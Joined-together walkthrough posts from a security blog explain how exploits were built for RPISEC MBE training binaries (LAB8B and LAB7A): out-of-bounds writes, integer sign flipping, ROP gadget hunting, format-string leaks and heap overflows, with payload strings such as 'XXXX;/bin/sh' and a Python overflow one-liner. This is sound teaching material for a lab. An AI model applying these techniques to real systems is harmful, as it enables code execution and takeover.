Introduction

This is the continuation of https://hackingiscool.pl/out-of-bounds-write-with-some-integer-sign-flipping-mbe-lab8b-walkthrough-the-basic-version/ - the bonus version not utilizing the thisIsASecret() function to get the shell.

So, the basic version was in fact very simple after figuring out how to control EIP. We just overwrote it with a pointer to this function:

Now, since we want to avoid using it to get the bonus points, regardless to what approach we will take (e.g. a full ROP-shell execve("/bin/sh") shellcode or a call to system("/bin/sh")), we have to attain some sort of argument control, as an arbitrary EIP just isn't enough.

How loadFave() really works

As mentioned previously, we can't print arbitrary vectors from the faves[] array by calling their own printFunc functions (like faves[i]->printFunc(faves[i])).

Even though the target application does contain a function called printFaves(),  I did not find it to be much of a use (neither for code execution, leaking nor for stack-grooming):

The problem with execution control is that this function directly calls the printVector() function, instead of using the faves[i]->printFunc pointer - the pointer we can overwrite and break our way into execution control.

Thus, after creating a v3 vector with arbitrary values and pushing it several times to the faves[] array to achieve arbitrary  printFunc pointer values,  in order to call any of those pointers first we have to load it to either of the two vectors v1, v2, explicitly asking the program to call loadFave():

Now, notice the memcpy() call's details:

It's memcpy(v, faves[i], sizeof(v));, NOT memcpy(v, faves[i], sizeof(struct vector));

It does not copy the entire fave[i] structure into v1/v2. Instead, it only overwrites sizeof(v) - which is a pointer. So the entire loadFave() operation only overwrites the first 4 bytes of the vector structure - which happen to be the printFunc pointer.

Let's illustrate this step by step.

We'll initialize v1 with values of 1 and v2 with values of 2, then sum them up, then add the sum to the faves several times, then load one of the faves back to v2 and see how it changed.

Full code can be found here: https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/init_one_two_sum_load.py

So, after initializing the vectors, summing them up and loading the sum four times to faves, this is what faves[] and v2 look like:

Again, this is right BEFORE we load fave[3] to v2.

Note that our fave[3].printFunc is 0x00000003 - and its other fields are as well just full of 3-s.  v2 yet has its original values; v2.printFunc = printVector and fields full of 2-s.

Now, after calling loadFave() of faves[3] to v2:

So, only the printFunc pointer from the chosen fave is loaded. Everything else stays intact. When attaining execution control, we make the program call v2.printFunc(v2)/v1.printFunc(v1). Since in the basic version we simply overwrote the printFunc value with thisIsASecret() address - which does need nor take any arguments, we simply did not care about them - and honestly I did not even notice this exact loadFave() behavior until I started poking around a solution that does not involve calling thisIsASecret().

Controlling more than just EIP

OK fine, so we can make v2.printFunc (or v1.printFunc, doesn't really matter) an arbitrary value, for instance system() - even though libc is ASLR-ed, we can leak the layout as already covered in the previous part: https://hackingiscool.pl/out-of-bounds-write-with-some-integer-sign-flipping-mbe-lab8b-walkthrough-the-basic-version/.

Sticking to v2 as our vector of choice, this means that we would effectively call system(v1). Now, let's think about it for a while. system() takes one argument, expecting it to be a pointer to a string of system commands:

And we DO NOT control the pointer being passed to it (we can only chose between v1 and v2) as its only argument:

So, once our arbitrarily chosen (e.g. system()) function gets called,  v2 pointer is the argument. And again, it looks like this:

So, what happens when system(0x80003100) is called? Well, it is going to try to execute \x90\x31\xe6\xb7\x02\0x00 as a string (remember, endianess). So even though we fully control short int v2.b, as well as further int, long int and long long int fields of the vector, the nullbyte padding the char v2.a field stands in our way. The string terminates - and although we fully control it, its first four bytes are strictly dictated by the value of EIP we force the program into.

We could possibly get this working if v2.a was at least two characters, instead of just one. In such case we would make them something like ;a, whereas ; is just one of the shell command separators (by the way if you're interested in command and argument separators, see this https://github.com/ewilded/SHELLING), while a is just another command. We could create a program/script named a in /tmp and add /tmp to our $PATH before calling the target program. But we can't do this on just one byte.

We could try to add /tmp to $PATH and then put our arbitrary commands (like /bin/sh or cat /home/lab8A/.pass) to a script named exactly \x90\x31\xe6\xb7\x02\, or whatever the current value of system() would be at the time of executing the target program - after having it leaked (ASLR).

I tried this approach. Did not work due to some of the bytes in this value not fitting into acceptable range of characters allowed in file names.

It became clear I have to try something else. Spoiler alert; stuff described in below Looking for ROP gadgets and stack-pivoting vectors section eventually did not work, although it allowed me to notice a beautiful (only potential as not actually attainable) ROP scenario.

What eventually did work is described in in the section after.

Looking for ROP gadgets and stack-pivoting vectors

So I searched for some stack pivoting scenarios (like the one described here https://hackingiscool.pl/heap-overflow-with-stack-pivoting-format-string-leaking-first-stage-rop-ing-to-shellcode-after-making-it-executable-on-the-heap-on-a-statically-linked-binary-mbe-lab7a/).

None of the functions used in the program turned out useful for stack-grooming in a similar way as print_index() in LAB7A - again described here https://hackingiscool.pl/heap-overflow-with-stack-pivoting-format-string-leaking-first-stage-rop-ing-to-shellcode-after-making-it-executable-on-the-heap-on-a-statically-linked-binary-mbe-lab7a/).

This is our sample stack at the moment of our execution takeover:

This time we do not seem to have any control over any of the stack values - unless we want to try to stuck our payload somewhere in the input buffer argv. The problem is that we won't have a gadget that would point our ESP there.

So I thought "OK we want to make ESP point somewhere at v1/v2/faves integer fields we control and put our ROP shellcode there".

These are the registers at the moment of our execution takeover (EIP was set to system() at the time):

Looks promising, EDX points at our v2 structure (its first four bytes, printFunc, contained the address of system() when the screenshot was taken).

We want a gadget like mov edx esp; pop whatever; pop whatever; ret.

mov edx esp would set our stack to the top of v2. The two following pop instructions would take out the printFunc and v2.a+v2.b dwords, so v2.c(signed short int) would become the top of the stack. Nah that's not good either, we can't control half of that value. Fuck.

I fired up ropeme ropshell.py. I ran generate /home/levels/lab8B, which generated lab8.ggt file with gadgets. I loaded it with load lab8.ggt. Ran the following search:

Fuck, VERY few (only 5 pop; ret;) gadgets. Extremely unlikely to find the one we need.

I checked them all, one by one, looking at different slightly lower starting offsets, to see the instructions above them - making sure they are still what they should be, as depending on the offset we can get different assembly, as instructions do not have fixed lengths and they simply occur one after another. Example below:

0x1676L: pop ebp ;;

Luckily, this can be done in an easier way (ropeme ropshell.py):

OK, what about libc? I bet there's plenty of gadgets there! So I repeated the steps with ropshell.py to generate gadgets from /lib/i386-linux-gnu/libc-2.19.so.

OK, more like it.

By the way, peda also offers some built-in ROP helpers itself:

So, back to our mov edx esp:

Nah, not a chance.

Neither for a suitable pop esp gadget:

Just to make sure the syntax is correct:

Now, this would pivot ESP to v2:

And it would return to itself (a recursive ROP), as printFunc happens to be the address of our gadget (initial EIP control) and would be laying on the top of the stack once ESP pointed at v2, making v2 our new stack. The second execution of the gadget would result in popping the printFunc from the stack, then putting v2.a+v2.b (which have nullbytes we can't control) into ESP. Shit, this is getting nowhere. At this point I felt stuck and decided to peek into Corb3nik's solutions (https://github.com/Corb3nik/MBE-Solutions/) - only to find out, to my surprise, that he did not make/publish the bonus version solution.

"Never use this function"

As this thing got under my skin and kept me awake at night, I came up with this while already drifting away to sleep: since v2.a and v2.b are standing in our way, let's use our EIP control and the v2 argument passed to it on the stack to deliver a new payload to v2. I thought of fgets(), only to find out it did not work - only to realize it is expecting three arguments, as I confused it with gets() - which is exactly what we need here:

So the plan is to first calculate a new sum in such a way that its printFunc is system(), add it to faves[] under the right offset (4 is perfect) and we'll be able to load it into to v2.printFunc later.

Then we enter new data into v2 in such a way that when we sum v1 and v2, we will achieve relevant consecutive fave[i].printFunc (6 is perfect, by the way) pointer to be libc gets().

Then we load it into v2. Then we ask the program to print it, so gets() is called, allowing us to overwrite the entire v2 (and everything that follows it, although we won't need it). This is why it was important to do all the calculations and load the faves before this step - we want v2 (except for its first bytes  -  the printFunc pointer) to stay intact from now on - which is perfectly feasible with the way loadFave() actually works, as we found out earlier.

So when gets(v2) is called, we overwrite it with something like XXXX;/bin/sh. The values of the first four bytes are irrelevant (as long as they are not messing with gets() input, so we don't want nullbytes or newlines).

We don't care about the first four bytes (e.g. XXXX), as they will overwrite the current printFunc pointer (gets() address at the time).

We don't care about them as we will overwrite them once again in the next step, by calling loadFave() on faves[6] - so v2.printFunc becomes system(), with the following bytes being ;/bin/sh\x00.  

So - at this point we'll just ask the program to print v2 once again, making it call system("0xb7e63190;/bin/sh") whereas 0xb7e63190 is a sample address of system() itself. The first command will obviously fail, as it refers to a nonexistent file, the second command should succeed.

So once again, the full algorithm:

1. Initiate v1 the same way as so far, with values of 1.
2. Manipulate v2 in such a way that after calling v1+v2, v3.printFunc becomes system() (we attain system() at faves[4].printFunc (yup, i = 4), the same way we did so far with index 3 (4 is to avoid the negative signed integer hassle)).
3. Add v3 to faves five times (because we want i=4).
4. Re-enter v2 in such a way, that when summed up with v1, will make v3.g = gets().
5. Add v2 to faves two more times (make i=6 and faves[6].printFunc = v3.g = gets().
6. Load faves[6] to v2 (this will overwrite its printFunc pointer with gets()).
7. Ask the program to print v2, overwriting it with XXXX;/bin/sh thanks to v2.printFunc = gets().
8. Load faves[4] to v2 (this will overwrite its printFunc pointer with system()).
9. Ask the program to print v2 and get the shell without using the thisIsSecret() function - the bonus version.

One more tricky thing I spent a while debugging and wondering what was wrong: -  it was crucial to use p.send("2") instead of p.sendline("2") after issuing p.sendline("3") - which tells the program to print a vector.

Once receiving our "3\n" it asks for the vector number by calling vectorSel():

The problem with this is that it is using getchar() to read the vector number. So, if we send the number followed by a newline character, the number will be read, while the newline character will be pulled from our input as input to gets(). And since gets() treats newlines as terminators, it would effectively lead to gets() writing an empty null-terminated string to our v2 buffer. So it would basically overwrite the least significant byte of v2.printFunc pointer with a nullbyte, without placing our shell command payload where we wanted it.

And what can I say - it works:

The full exploit code can be found here

https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/exploit_bonus_version.py

Recently YouTube changed its policy on “hacking” tutorials to an essential blanket ban. In the past, such content was occasionally removed under YouTube’s broad “Harmful

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I decided to skip the LAB8C (https://github.com/RPISEC/MBE/blob/master/src/lab08/lab8C.c) writeup, as solving it did not even require running gdb - so I was like "muh".

Instead, let's look at LAB8B.

The target app

As usual, here's the source code: https://github.com/RPISEC/MBE/blob/master/src/lab08/lab8B.c.

Compilation flags

Below are the compilation flags from the comment at the top of the source file:

However, these flags do not seem to add up with the actual compilation flags used to produce the /levels/lab08/lab8B binary. My conclusion is that -fPIE -pie flags were NOT used when compiling, as the addresses in the code segment turned out to be fixed (but that's OK, we can leak mem from the program, having them ASLR-ed would not really make things much more difficult here). Plus, there' s a second (bonus) solution to this, which does not utilize those fixed addresses, but later on that. Also, this commit https://github.com/RPISEC/MBE/commit/ad0d378e379470ebf744655234361bd303530ab4 suggests some comment flags vs real compilation flags discrepancies in chapter 8's labs.

The code

Below is the data structure we are going to work on:

The core logic of the program is to allow us enterData() into v1 and v2 structures (just the numbers and the char, the printFunc pointer is initialized with a fixed value).

We can't manually enter data into the v3 vector. Instead, v3 is filled by adding the values of the corresponding v1 and v2 fields together (sumVectors()). For this to happen, neither of the v1 and v2 fields can be 0:

enterData() simply fills a vector structure with user-supplied numbers plus the vector.a char, using scanf() calls with format strings relevant to their declared types (signed/unsigned). The vector.a char is an exception to this, as it is read from stdin with a getchar() call:

This is our user interface:

And this is how our user interface is connected to methods:

Now, the most important method:

How v.printFunc pointers are initialized + what does printVector() do

By default all printFunc pointers point at printf():

When enterData() is called, v.printFunc is overwritten with printVector() address:

This means that asking the program to print a vector before we even enter it would make it call printf() on an yet empty vector. The only initialized field would be the printFunc, containing the current libc printf() address. So yeah, this is the first vulnerability, but it's not the only leak in this app.

The second leak is a feature of the program itself, implemented in the printVector() function:

So we can leak printVector() address, libc printf() address as well as the address of the v vector in the data segment.

The following simple exploit skeleton extracts both of the leaks:

https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/exploit_leak.py

The out-of-bounds-read-write

So, this is the vulnerability we are after:

We can allocate and copy up to MAX_FAVS (10) versions of v3 (can be the same v3 without making any changes to it) to the faves[] array.

The first fave (faves[0]) is a proper byte-to-byte copy of v3, because i is 0 at the time. The issue starts to manifest itself as i grows. So, a careful pick of the sum constituents (relevant corresponding v1 and v2 fields) along with the right choice of an i value from within the 0-9 range should allow us to arbitrarily overwrite the printFunc pointer in at least one of the faves. Then load it back to either v1 or v2 and task the program to print it.

But before we get ahead of ourselves, let's clarify few basic things first.

Sizes and paddings - how data is aligned in memory

In this case it seems like a good idea to start with checking the size of the struct vector structure, as well as its individual members. We also need to expect some padding (we're in 32-bit world here, so eventual space reserved for an object will be rounded to a multiply of 4).

Over the course of my work on this challenge, I compiled a few small C programs to test some stuff the easy way, here's one of them:

The output:

So we know that in our system (MBE VM) both int and long int have the same size. We also know the entire size of the struct vector = 44.

Since both longs take 8+8 (16), four integers take 4+4+4+4 (16), that's already 32. We also know that the printFunc pointer will take 4 bytes, making it 36. So, we have 8 more bytes occupied by two short integers and one char. This makes sense as short integers are two-byte variables, so 4 bytes are needed to contain two of them (making it all 40 so far). A single char takes only one byte (making it 41), so three more bytes of padding are required attain the nearest multiply of 4 (44).

But let's see how this actually looks like in memory. For this purpose, I created a skeleton of the exploit, simply filling the particular structure fields with a set of values making them easy to distinguish:

The text version is here: https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/exploit_init_bare.py

A note about libc output buffering

When using pwnlib (pwntools), I highly recommend the additional stdin=PTY argument for the process() call (can save you a lot of frustration, whereas the output you expect from the target app does not arrive and you have the impression that the program hung). This particular challenge made me learn the hard way that by default pwnlib is using a pipe (not a PTY) as the standard input for our exploit. This means that the target application does not recognize its standard output as an active device (PTY), which would prevent libc from buffering data coming from its output routines like printf().   Some more details here: https://twitter.com/julianpentest/status/1143386259164938240.

Anyway, back to our memory alignment inspection. Running it (you might want to cp /levels/lab08/lab8B /tmp first):

Second console (for this, /proc/sys/kernel/yama/ptrace_scope  needs to be set to 0 - I keep it this way on MBE VM as it's efficient):

And here's the v1 contents after enterData()(easy to attach and see when the program is waiting for input here, no breakpoints needed):

A slightly closer look:

Adding vectors

OK, now let's get two vectors summed, while trying to pick the v1 and v2 fields in such a way that we get expected values in v3 fields.

So, let's say we want our v3 sum to consist of consecutive capital letters, 'A','B','C' and so on.

This will make it easy to distinguish which bytes of the v3 vector are being copied to which bytes of the particular faves[i] structure, as the i offset grows.

As our v3 has to come from a sum of non-zero values, we will simply fill the first vector with growing natural numbers, starting at 0x1, while filling all the fields in the second vector with 0x40-s.

We can achieve 0x40 in particular memory cells by putting the following values in, depending on the type:

And here we go (again, full text version  can be found here https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/exploit_test_sum.py):

And here we have it:

Due to our v1 values being very small (0x1), the more-significant bytes of those values were nulls, producing 0x40 (no change) in v3 when summed with the more-significant bytes of their v2 counterparts. Fair enough, now we have a basic understanding how to manipulate v3 and therefore faves[i].

Options for execution control

Now, the best way to see our options here is to simply use the v3 contents we already have and add it to favorites 10 times or less (as we can't do more) and examine the resulting faves[i].printFunc pointer. Once we identify and pick the most favorable offset (the value of i that allows us to fully control the pointer with any of the v3 fields), we'll pick the proper v1 and v2 values once again so their sum is what we want and exploit it. Having the proper i we know how many times our v3 has to be added to favorites and as well what is the favorite number we want to ask the program to print for us to execute code from our arbitrarily provided address.

I initially though that i increments by 1 in the vulnerable memcpy() call will result in the pointer address being incremented by one byte as well.

Debugging, however, revealed that the expression is expanded with the variable type being a pointer to int (which is 4 bytes), hence consecutive increments of i will make the memcpy() source argument point at further and further whole dwords (double words, 4-byte chunks) of the current v3 contents.

Here's how faves[] change with every single fave() call:

So, for i=0, faves[0] is a complete copy of v3.

Now, after a second fave() call, i=1:

Yes, the second fave already has its printFunc pointer fully overwritten with data from our input (0x40420041)! So with every new favorite added the byte offset of the out-of-bound-read-write will effectively move by 4.

As we can see, i=1 is not sufficient for our desired pointer overwrite, because we cannot control the nullbyte (as opposed to every other byte) in the 0x40420041 value (that nullbyte comes from the char v3.a padding - beyond our control). The whole value contains v3.a with padding (two least significant bytes) and short int v3.b (two most significant bytes).

The next offset (i=2, faves[2]) is even worse, as we would have the unsigned short int v3.c being our new pointer (0x00004043 at the time of taking the above screenshot), which in turn has two padding nullbytes we cannot control:

Offset i=3 does the trick (gives us full control over the pointer).

One more thing. We can't ask the program to directly call any of the faves[i].printFunc. Instead, we must load the particular favorite into one of the two work vectors (v1 or v2), then print it.

And:

It looks like we're almost there.

The basic solution (without bonus points)

There's one more important code section I did not mention:

Long story short, the basic solution is to now pick our input in such a way that instead of 0x40404044, faves[3].printFunc contains the address of thisIsASecret().

Normally we would calculate the thisIsASecret() function's address based on the already leaked printVector() address:

But due to the missing -fPIE -pie flags this is not required. The address is simply 0x800010a7.

The problem with signs

Knowing that 0x800010a7 is 2147487911 in decimal, I simply tried to split it between v1.d and v2.d values as 2147487910 and 1.

This did not work, because d is a signed integer, with possible value range of -2147483648 <--> 2147483647. 2147487911 is slightly above the range. When provided to scanf("%d", &(v->d));, it ends up truncated to the maximum value of 0x7fffffff to avoid integer overflow.

0x7fffffff is 2147483647, while 0x80000000 is -2147483648. This means that our desired pointer is a negative number and we cannot achieve int overflows with scanf().

The arithmetic overflow, however, is entirely feasible when the values get added in the sumVectors() function. So v1.d = 2147487911 ending up as 0x7fffffff, summed with 0x1 made the value 0x80000000. Quite close, but not what we want.

There are several solutions to this:

• stick to the values we already picked and just overflow the sum even more by setting v2.d to the 0x10a7 offset + 1, so v1.d=0x7fffffff + v2.d = 0x10a7 + 1 becomes 0x800010a7 or just pick some two static numbers that lead to the result we want (the simple and ugly solution, not to mention lazy as well)
• dynamically leak the target value as a signed integer, using pwnlibs unpacking functions (e.g. number = u32(leak[0x0:0x4],sign="signed")) to get the value of the pointer interpreted as a signed integer, use if on v1.d input while putting the required calculation offset (e.g. difference between printVector() and thisIsASecret() or difference between system() and printf()) as v2.d, flipping the signs if needed - depending on whether the initial value is negative
• dynamically leak and calculate the target value treating it as unsigned, then split it into half (e.g. for target 2147487911 that would be 1073743955 and 1073743956 for v1.d and v2.d inputs, respectively), so both inputs are within the signed int range for scanf() and still good for the overflow (smart, reliable and quite easy solution)
• simply use the next offset i=4 instead of i=3, because v.e is an unsigned integer, so we get rid of the problem entirely (lazy and neat solution)

Thus, overflowing it even more with a statically picked values could go like this:

Knowing that:

• 0x80000000 is -2147483648 (the bottom of the unsigned int range)
• 0x8000010a7 is thisIsASecret() address
• 0x10a7 is thisIsASecret() offset (4263 decimal)

we can pick 4263 and -2147483648 as v1.d, v2.d:

The full exploit code (basic non-bonus version)

https://github.com/ewilded/MBE-snippets/blob/master/LAB8/LAB8B/exploit_working_simple_and_ugly.py

The bonus version will follow in the second part.

This is was one of the most painstaking ones (which is reflected in the length of this write up). While finding the vulnerability was trivial, building a working exploit was quite of a challenge here.

The target app

The target app https://github.com/RPISEC/MBE/blob/master/src/lab07/lab7A.c is, on the face of it, quite similar to the previous one LAB7C.c (https://hackingiscool.pl/exploiting-the-same-user-after-free-twice-to-leak-the-mem-layout-and-execute-code-mbe-lab7c-walkthrough/). But instead of Use after Free, it's vulnerable to a multi-stage heap-based overflow.

There is a structure with buffers, length field and a pointer to overwrite:

And there are standard CRUD (Create/Read/Update/Delete) options available from the user interface, which - when chosen - call relevant functions:

The vulnerability

The initial (and very short) heap overflow resides in the create_message() function and was quite trivial to find:

It gets interesting when the program asks the user to provide the length for the new message by calling get_unum() (which is defined in https://github.com/RPISEC/MBE/blob/master/include/utils.h, for the record):

So, the vulnerability resides on lines 109-110:

While MAX_BLOCKS is 32, BLOCK_SIZE is 4.

msg->message[] buffer size is 128 (MAX_BLOCKS*sizeof(int)).

Results of arithmetic division operations on integers give integer results. So, 128/4 == 32, but also 129/4 == 32, 130/4 == 32 and 131/4 == 32.

129,130 and 131 are possible length values we can sneak in without hitting the (new_msg->msg_len / BLOCK_SIZE) > MAX_BLOCKS condition and having our input length overwritten with the safe value of MAX_BLOCKS*BLOCK_SIZE.

And then, right away after smuggling the slightly bigger new_msg->msg_len, in the same create_message() call, we have this:

So, read() (to which there are no bad characters, by the way! :D) writes new_msg->msglen bytes from standard input to the new_msg->message buffer. So we can overflow the new_msg->message buffer by up to three bytes. And what will we overwrite this way? Yup, the msg_len field! This way we can achieve having created a message with nearly any size in msg_len, as we can control 3 out of its 4 bytes.

This can be taken advantage of in the edit_message() function:

Here is the second heap overflow, directly resulting from the first one, making it possible to overwrite the heap contents far beyond currently edited message body and its length field (so we will overwrite the print_msg pointer of the next message we create on the heap, getting a foothold into execution control).

Also, note the numbuf[32] buffer used to store user input before converting it to an integer used for message index (with 10 being maximum expected number of messages, which are indexed from 0, hence one digit is actually enough to store the index). We are going to use it later.

More insight on the target app

First of all, LAB7A.c comes with the following readme:

This is the way it is being run (output from ps aux from the gameadmin/root user):

lab7end 12237 0.0 0.2 5076 2116 ? S 18:39 0:00 socat TCP-LISTEN:7741,reuseaddr,fork,su=lab7end EXEC:timeout 60 /levels/lab07/lab7A

So, it is running as the lab7end user (so we would have to become root to debug it) and has ugly timeout of 60 seconds, making debugging additional hassle.

So, we should work locally, on /levels/lab07/lab7A, or on its copy in /tmp.

This itself will not let us get rid of the timeout... because it is also implemented with the following macro call on line 10:

The macro boils down to calling alarm(60) and setting the alarm handler to a function doing exit().

I initially tried to work on a version I manually recompiled (with the only difference being the timeout parameter changed from 60 to 0 to effectively disable it), using the same flags... and I thought it was OK... but then later when searching for ROP gadgets I noticed slight differences in offsets, so I decided to work on the original copy instead and just add an automated call alarm(0) to my gdb script (-x commands.txt).

Second, we will have to write a custom shellcode here this time, as the binary is compiled statically (libc will no longer be dynamically linked, instead only the required functions are statically linked, which means they are built in the executable):

/* compiled with: gcc -static -z relro -z now -fstack-protector-all -o lab7A lab7A.c */

Simply returning to libc's system() won't be an option as we won't have the entire libc dynamically linked. Instead, only the libc functions actually used by the program would be linked in, by putting their code into the same code segment as program's own code. This will definitely make exploitation more difficult.

Another specific property is the lack of -fPIE -pie flags, the result of which was the code segment not being ASLR-ed, so all the functions and ROP gadgets are at fixed addresses (which will, in turn, make the exploitation easier). Still, other segments get ASLR-ed (except for the heap, which turned out kind of tricky - although its range in the target app was the same every time I checked, the first address returned by malloc() varied between instances, making the need for leaking).

How data is aligned in memory - getting our first crash at an EIP we control

Ok, let's run this.

A look at the vmmap output:

An interesting thing to notice, the heap is already mapped as well, even though we have not issued a single malloc() yet (as opposed to https://hackingiscool.pl/exploiting-the-same-user-after-free-twice-to-leak-the-mem-layout-and-execute-code-mbe-lab7c-walkthrough/), this is most likely due to the lack of -fPIE -pie flags.

Creating and viewing the first message:

OK, let's see it in memory:

Oh, this was unexpected. Where is it then? Let's find it by searching for any part (first four bytes) of the XOR pad/encrypted output we just displayed above. Search for the literal did not work due to endianness, search for the bytes in reversed order did the trick:

OK, let's see it (we need to aim a bit wider, as 0x80f19d4 is just the beginning of the XOR pad, while we want to see the entire structure and the preceding malloc metadata):

OK, now we create another message and have a look again:

Now, this is the layout with the messages sitting on the heap:

This should give us clear picture of how to start make the program call an arbitrary address. After we create message #0 with an arbitrary length value bigger than 140 (128 for the message body + 4 for the overwritten once again length value + 8 bytes for the malloc meta fields = 140), we will start overwriting message #1's print_msg() pointer, then the message #1's XOR pad, then the message #1's body itself.

Afterwards we ask the program to print message #1, making it call our overwritten #1's print_msg pointer.

First crash

So we create a new message, with arbitrary length of 131 (max we can sneak through the faulty boundary check) and we use those additional three bytes to smuggle three 'C's:

Now, those three 'C's overwrote the three least significant bytes of the original msg.len field, turning it from 131 to 1128481536:

OK, cool. Let's proceed to a careful overwrite of a pointer. Luckily, we don't have to be very careful when it comes to the arbitrary value of the message length field we put here. CCC (0x0043434) is good enough, because we don't have to fill the full length of 1128481536, read() will stop when no more data is available from the standard input, at first we'll just write 144 bytes, with the last 4 being the new pointer for the next message's print_msg() function.

So:

1. We create a message with declared length 131 and following content (this will be index #0):
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCC (already done).

2. We create a second message with any length and content (irrelevant now).

3. We edit the first message, filling it with this payload (ZZZZ will be the hijacked EIP):
   $ python -c 'print "A"*140+"Z"*4'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZ

4. We ask the program to print the second message (index #1) and watch it crash on ZZZZ.

We control EIP, now what

Controlling only the EIP is not sufficient to make the program do exactly what we want. As long as we cannot simply inject a shellcode to an executable memory range and jump to it (and we can't - at least not yet :) - as we are dealing with DEP/NX), we need to go with ROP approach. Even if we were not doing an actual ROP chain, but a simple overwrite of the controlled pointer to system()'s address (which we can't here, as mentioned before), we still need to control the argument that function call is expecting to have on the stack when called.

Let's be entirely clear, this is what we hijack:

So, at the time of execution of our arbitrary EIP, the argument on the stack will be a pointer to messages[i] structure on the heap (with its first field being the print_msg pointer, by the way). Even if we could make EIP point at system(), we would still want the stack to contain a pointer pointing to a buffer we control - as opposed to the XOR pad, which is filled with random data.

This is what the stack looks like at the time function print_msg() (or ZZZZ) is entered:

The saved RET points to the next instruction in print_index(), messages[i] points to the beginning of the message structure on the heap.

Then I noticed that mprotect() is linked into the program:

So I instantly recalled XPN's ROP Primer writeup (https://blog.xpnsec.com/rop-primer-level-0/) and thought 'fuck yeah, I am gonna set EIP to mprotect() and make the heap executable, the buffer address is the first argument... but what about the next two?'

So the next two variables on the stack being 0x00000000 and 0x0000000a were ALMOST what I thought would suffice. 0x00000000 is where the buffer length should be (0 is not great for length), while 0x0000000a would serve as the flags (0x7 is RWX, so oxa includes 0xb, we would be fine as long as this flags value is not invalid). Obviously, this did not work (at least because of the 0 as length, but probably there's more than there is to it - we'll be back to this later).

Anyway, I started wondering whether I can control that 0x00000000 and 0x0000000a on the stack, only to figure out where they come from: they are a survival from the strtoul(numbuf, NULL, 10) call in print_index() right before our message is printed (it's the NULL and 10, last two arguments to strtoul()):

So I looked at the registers state and the stack at the time of the call/crash, looking for anything to hook on, any candidate for the next step in execution control that would allow us make the memory and registers alignment more favorable - and put my attention to EDX, as it was pointing to the buffer we control (remember, we can write past the ZZZZ any number of bytes we want!):

So I started wondering, what if I could find a ROP gadget that would somehow mv EDX to ESP, tricking the program to start using the heap as the stack? Then we could place the rest of the ROP chain on the heap, as we are having a hard time trying to control the stack right now.

By the way, ropeme is a nice tool for this (the lab7A.ggt was previously created by the same script, by calling generate on the target binary):

Well, let's just say I could not find the proper gadgets (looking for stuff like mov edx, esp; ret; or push edx; pop esp; ret). The two pop esps were not preceded with what I needed once I checked in gdb with x/5i address-offset. And yup, I tried x/5i address-offset for different offsets, as the instructions will vary depending on what offset of the opcodes we hit - which sometimes can work in our favor as we can find a gadget that does not exist under any offset normally operated by the program when it executes as intended - I accidently came across this being mentioned here https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/emerging-stack-pivoting-exploits-bypass-common-security. Plus, sometimes this phenomenon is abused as an anti-disassembly technique - which I learned from this workshop whitepaper which I recommend: https://github.com/theevilbit/workshops/blob/master/Anti Disassembly Workshop/Hacktivity 2015 - Fitzl Csaba - Hello Anti Disassembly.pdf.

But back on the subject!

As after about two hours I felt stuck, I decided to peek into Corb3nik's solution  https://github.com/Corb3nik/MBE-Solutions/tree/master/lab7a for clues.

Corb3nik's solution - tricky format-string-based leaking of the heap pointer after sneaky stack-grooming

Reading Corb3nik's exploit made me realize that leaking a heap-stored message pointer would in fact be needed for a reliable exploit to work - if we want to use the heap for our payload (as we could alternatively use the stack - but then we would need to leak the stack address, so it does not really make much difference at this point). So leaking has to be done before proceeding to attaining arbitrary code execution. And it turned out to be tricky (no comfy gadget this time, like with https://hackingiscool.pl/mbe-is-fun-lab6a-walkthrough/).

So, if we want to leak something, we can overwrite the EIP with printf()'s address, which as we know is fixed in this case. But what about the argument? When doing heap overflow, we overwrite the next message print_msg pointer and if we keep writing, we overwrite it's XOR pad. Then if we ask the program to print the message, it will call printf() with just one argument, being the pointer to the message[i] structure:

messages[i] (0x080f09d0 at the moment) looks like this:

Now here's the trick. If printf() treats the entire buffer pointed by messages[i] as a string, the XOR pad we overwrite past the print_msg pointer (which itself we overwrite with printf()'s address) can contain a FORMAT STRING expression.

This means that if we overwrite the XOR pad (pointed by messages[i]) with a string like %1$p, it will print the value of the next dword on the stack, right to the heap pointer itself - exactly where the next argument to printf() would be, if it was called with that format string properly (like printf("%1$p",some_pointer_to_be_printed_out);):

This way, we can pick an arbitrary value from the stack we want printed plain and clean in proper pointer format (thus the %p, whereas number$ index selects the number of the value from the stack). So, even the nullbytes on the stack are not an issue.

As we can see on the screenshot above, we could already leak the stack (the last value to the right at the bottom, 0xbffff728 in that case) if we wanted to use it for storing the final payload. Something I realized only while writing this up and have not tried pursuing.

In Corb3nik's solution - which I followed - heap was used to store the payload (a ROP chain execve(/bin/sh) shellcode), by using a pop esp; ret + payload_addr_on_the_heap first-stage chain to trick the program to start using the heap as the stack - something I originally wanted to do when I got stuck.

So,  the problem with this approach is that we do not actually have a pointer pointing to the heap anywhere on the stack while print_msg()/printf() is called - except for messages[i] - but messages[i] is literally the first argument from printf() call's perspective and we cannot reach it with %0$p format string (I tried)... we can reach everything past it, but not it itself. And it's not held anywhere on the heap itself either, so just leaking the heap without a format string at all wouldn't help.

This is where Corb3nik used a recurrent call of print_index() from within print_index(). In order to achieve this, four messages had to be created, because two overwritten pointers were needed:

1. By overflowing message #0, message #1's pointer was overwritten to print_index() (so this is why we already had to create two messages).
2. By overflowing message #2, message #3's pointer was overwritten to printf(), with its XOR pad being overwritten with the format string (thus, two more mesages).
